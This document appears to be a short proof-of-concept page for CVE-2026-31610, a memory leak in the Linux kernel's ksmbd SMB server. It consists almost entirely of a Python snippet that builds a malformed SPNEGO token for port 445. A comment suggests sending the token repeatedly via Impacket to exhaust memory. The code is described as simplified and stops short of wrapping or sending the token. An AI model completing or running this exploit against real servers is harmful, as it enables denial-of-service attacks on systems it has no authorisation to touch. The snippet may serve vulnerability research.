CVE-2026-31610 Linux内核ksmbd内存泄漏漏洞

import socket from struct import pack # Define target IP and PORT (445) TARGET_IP = "192.168.1.10" PORT = 445 # Construct a malformed SPNEGO token to trigger the leak # We need a valid mechToken followed by a malformed mechListMIC # This is a simplified ASN.1 structure for demonstration mechToken = b"\x00" * 10 # Valid(ish) token data # Malformed sequence to cause decoder failure after mechToken allocation # Tag 0xA3 is mechListMIC. We make the length invalid or content malformed. mechListMIC_malformed = b"\xa3\xff" + b"\x00" * 100 spnego_blob = pack(">B", 0x60) # Application 0 Constructed (SEQUENCE) spnego_blob += pack(">B", len(mechToken) + len(mechListMIC_malformed) + 4) # Add mechToken context specific tag [2] spnego_blob += pack(">B", 0xa2) spnego_blob += pack(">B", len(mechToken)) spnego_blob += mechToken # Add malformed mechListMIC spnego_blob += mechListMIC_malformed # Note: A full exploit would require wrapping this in a valid SMB2 SESSION_SETUP request. # This snippet demonstrates the payload construction logic. print(f"Generated malformed SPNEGO token length: {len(spnego_blob)}") print(f"Token hex: {spnego_blob.hex()}") # In a real scenario, send this via Impacket or raw socket in a loop.